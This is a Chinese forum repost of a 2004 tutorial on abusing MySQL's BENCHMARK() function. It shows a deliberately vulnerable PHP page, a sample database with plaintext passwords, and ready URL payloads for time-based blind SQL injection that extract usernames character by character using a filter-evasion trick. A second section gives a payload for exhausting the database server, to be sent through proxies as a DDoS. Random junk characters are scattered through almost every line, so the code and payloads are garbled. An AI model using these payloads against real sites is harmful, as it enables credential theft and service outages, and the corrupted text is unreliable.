找回密码
 立即注册
查看: 2815|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 ( X! U9 r9 k1 m: P$ E
本文作者:SuperHei
* a. R3 N% l" K8 e4 x! r  a文章性质:原创
9 P, ^" p- m4 \8 W# l0 w- Q$ Z发布日期:2005-01-02
' I% G( |  N3 o! L" U, n, c4 b0 X* ?完成日期:2004-07-09
# O* f8 ~0 a$ N# d2 G4 U第一部
! I2 G8 p/ D- H0 H2 b. }5 q$ z" S, F- B9 n
利用时间推延进行注射---BENCHMARK函数在注射中的利用 0 u! }8 r4 h7 O

5 y/ E: C4 A9 l1 M/ P一.前言/思路- [. F' k2 R. u. v8 y

/ X7 E5 A; {4 W# k  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
% [0 y' M% V$ L! n( v4 ~/ e3 @
" E0 j5 e1 Y  t6 n  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。4 Y3 t" ?' r, ?+ r
' Z" l- j3 ^2 d
二.关于BENCHMARK函数
6 _8 O2 c# k& l: v  W8 ?' p0 d) a3 \. H. R9 M
  在MySQL参考手册里可以看到如下描叙: : @; N; v" ]5 {* _; r: @( M

6 C0 b$ \, g8 l8 y, S! C4 \) ~6 G  A/ b+ B% M- R
--------------------------------------------------------------------------------* ?1 G  _! }5 P! _/ D

& |: X! {0 j. u! X- |BENCHMARK(count,expr)
* l% Y' n4 D$ l5 r! k7 YBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 0 {$ u( Z1 e6 t% I! C
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
! y3 S7 t/ }" p1 n7 n+----------------------------------------------+ % K6 z. z$ @7 ]
| BENCHMARK(1000000,encode("hello","goodbye")) |
2 p7 H: L- A9 `8 i- ?$ I$ B+----------------------------------------------+
- ]& C0 T) i% }3 p, q| 0 | & O3 Y5 @2 o  H, ?% A$ c, `. r
+----------------------------------------------+
# y. U9 t% `9 R' H3 k1 row in set (4.74 sec) 1 U( I( Z+ w  ?5 o+ c3 N1 W- E

( B. m, ]& Y* z& n0 X6 Y. H8 N' y1 P报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
; y$ s% B1 t9 }! L# Q
. D  k6 h8 X+ W. n* T% B! D
6 H; i4 e) y" X--------------------------------------------------------------------------------: i  D& Q3 P) _4 k  k

8 D5 x; x% \# r3 p  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
8 O5 C; b- c& D! {1 P! ^4 b" |( [3 D; ?( @% T, v6 H! n0 Z
mysql> select md5( 'test' ); 1 ^) }2 s8 B& v* q; R
+----------------------------------+
& a# w/ B; Z; B9 X: ?| md5( 'test' ) | * [3 R8 T  m# k1 t1 Q, B! A1 D
+----------------------------------+
1 x' r" Z) n" f8 J| 098f6bcd4621d373cade4e832627b4f6 |
/ Q  R; n+ h% q5 l! s" \5 U9 x( G+----------------------------------+ . B1 C0 v3 B4 o4 j9 N3 d6 p* \2 H
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
8 K& V6 x$ q, _! A6 i: {% X2 u
! [9 T5 N% _  W' ]mysql> select benchmark( 500000, md5( 'test' ) );
" E/ R0 i1 O" A  t+------------------------------------+ . F# b, @. q' h. n6 {( l
| benchmark( 500000, md5( 'test' ) ) |
" o2 }2 T$ s" p0 U* c- H: K+------------------------------------+
) {/ q# c) y& t. C| 0 | ; J' R5 _) d6 `+ ], u* Y. ~: C
+------------------------------------+   k6 n3 h7 t2 Z
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec2 |! C, O# K  d) f2 _, R

* o! k/ a1 c4 e$ D% Z7 K) Z3 G7 ?; v% b6 v4 j
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
# F: L2 Q4 `. N5 i3 a  O5 ~# h! [
, T; j8 }6 n4 h% h5 R$ ^三.具体例子3 @8 Y" d" T; n: P$ M

' v$ Q" M6 s8 }( w  首先我们看个简单的php代码:
- B7 K% Y* }4 B( L9 V) X- v0 j7 q9 y. R* `. E+ o- J! t: N
< ?php
1 T/ F3 m$ e$ \7 U; L$servername = "localhost"; - ?, |7 l) A* y! b! T+ h$ `% K/ x- J
$dbusername = "root";
$ h+ S" u7 h4 B6 }$dbpassword = "";
2 {5 B* S+ q/ E4 l# n% K" N$dbname = "injection";
2 X$ q2 C& k( `3 [: i% W0 a) ~3 H  J: I6 B( E  a
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$ j3 k& f; L( Z7 j
0 s. z5 s0 v( i7 b$sql = "SELECT * FROM article WHERE articleid=$id";
# o5 x$ t" e' r2 @2 I' }* E$ o$result = mysql_db_query($dbname,$sql);
' c; a0 O! P1 G. u/ t( u/ N$row = mysql_fetch_array($result); % w! m+ A/ a5 G% ?' P% H( k

* F8 u  Y- a# Y" _if (!$row) + Z$ n1 Z5 {$ R5 U: X2 g" b1 i/ r
{
8 h! [. `0 H9 U' L# |# Qexit;
& f8 R- B" c& Y0 c; \* |} 6 U- s' s+ N" p, b2 W5 k+ c
?>
, w) u5 @3 W2 P4 e( Q % I* T# n9 K" c4 }' |+ y1 J
) p: Y( [5 ]5 ~' {5 f
  数据库injection结构和内容如下:
/ u5 C$ ?3 n, ]! T
" E/ _, d5 [5 x/ x3 {# 数据库 : `injection` 8 l4 @8 x  R% Y4 j
# 2 G7 z7 {, S% l: o. F8 q9 j; b

! I0 B  e9 n+ U. A+ ?# --------------------------------------------------------
2 P3 ?% u7 ~4 c& ]; x$ k( }4 M: r  `9 L* }# m# r
#
& ~: m& ]2 n9 x0 ^" R/ H4 b0 N# 表的结构 `article` 2 i# N9 P/ _2 N1 e* m5 r
# " p0 k% [! T. G4 t, x$ d
. T+ M2 i: t  ~# d4 j3 Q6 b
CREATE TABLE `article` ( ; X6 l% k+ {# M) ]( t9 d; n
`articleid` int(11) NOT NULL auto_increment,
$ R) r8 c/ M/ S& T`title` varchar(100) NOT NULL default '', ; B' X& T* `2 q' e& P- c! q
`content` text NOT NULL,
% Q3 X7 S8 b9 F% b/ p8 F( b) XPRIMARY KEY (`articleid`) . U' o" L" k4 p/ e7 x
) TYPE=MyISAM AUTO_INCREMENT=3 ; ; S: V3 k. J( s5 ]5 r

: _0 g, @% p* _) M: ?#
5 l6 Z8 q7 s  f8 j2 q# 导出表中的数据 `article`
" |% D! y  o2 s" s/ v( i, |#   x9 O) X7 O+ I2 k
2 c# T# `1 y. |+ _/ P* F
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
/ O& z$ J& I  H1 C7 n9 Q" ~5 S3 NINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); - l/ ]& N. _8 G2 \2 v

' G$ x7 a  V. K1 _, x: [" ]# --------------------------------------------------------
- W4 h) w4 M+ Y$ s# k* |; A6 T5 _/ q  i% ]' R! w/ x# C' H
# * i/ ]2 y2 V4 Z& q- C
# 表的结构 `user`
0 B9 X5 P! ~- ^7 _5 B/ q2 u# 3 I9 [9 a% s" i1 e9 {0 @& J% q

+ U5 m$ [9 t; r, l& q: L' MCREATE TABLE `user` ( : B0 K0 U; o  {: E
`userid` int(11) NOT NULL auto_increment,
$ _! X" A4 r, N  y. z`username` varchar(20) NOT NULL default '',
" g2 F' p  {' p& Y4 B( ~. t`password` varchar(20) NOT NULL default '', 7 a, @$ n4 ^% T. s, @" K/ j+ S6 z! K
PRIMARY KEY (`userid`)
( \# }8 \) f1 T, ~" ~) TYPE=MyISAM AUTO_INCREMENT=3 ; 8 x4 U6 V1 A* T/ I

2 s( Y: L+ Q6 u# ) K# j: J) l) m, R- B! E
# 导出表中的数据 `user`
8 O) ?0 Z2 R" p$ E; c: |#
( J6 s) {0 J6 }+ c0 ]& q' W1 j% P; V
/ o. d1 G; U! |( ?% A3 @INSERT INTO `user` VALUES (1, 'angel', 'mypass');
' B  U. W, X; A. M3 A4 ], uINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* G2 y# w+ ^/ ~7 M# O4 u6 a. i; o ' ~# _$ T: x6 c5 I5 w" J0 @

% Z1 F) X4 ^4 q8 [& b  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) }; e- t/ T: n! E) J. `

% E& N4 X* `, \6 l: F) W; [id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*! ]4 `6 T- |7 e, }" P0 q, I
& c. x+ ?  m# r% Q  T5 b9 r9 X
! W' o- J# C4 \" Z% ^7 f; k! m. ]
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
* z7 }7 f1 }$ p+ b3 x  a5 M* P! N# r
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*8 t  {1 ]  Z4 {3 e6 T: m! \. S0 \

# @( n$ D& u$ {9 |1 Z
# y  v9 j" O* q0 ^; w  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
4 U  G, t0 d* s" o/ j
* I; m6 n: a( }' V) |4 y  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 , ^3 V) k4 e) A  b

) S  ?4 @0 L, H& O+ q, `2 Y: R第二部
9 r! R5 a' h8 L$ O/ F) g
  ?) j9 A1 i( S2 i% {% l' j利用BENCHMARK函数进行ddos攻击 ) t- E% R# B0 ~

, w  q2 f. r, e  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:' `" U% F' s( L, K( X

, @% L3 S: }0 k3 P' p3 k: T9 Q: Uhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
' G3 D7 r+ Z) Z. i) |+ Y4 m
5 \/ p7 b5 }5 Z, E" A) v) R6 n8 n8 K; n8 K0 p, O/ p  H& s  K
小结
# B1 g. p. S+ i5 w. ~
) ^# v: l9 M; Y* U% u" X, H4 u  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
1 b& V! m2 w0 p9 y9 L' W ! U* {+ v, q  B. q  l
  
- U5 C% X5 Q6 T0 K% A4 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表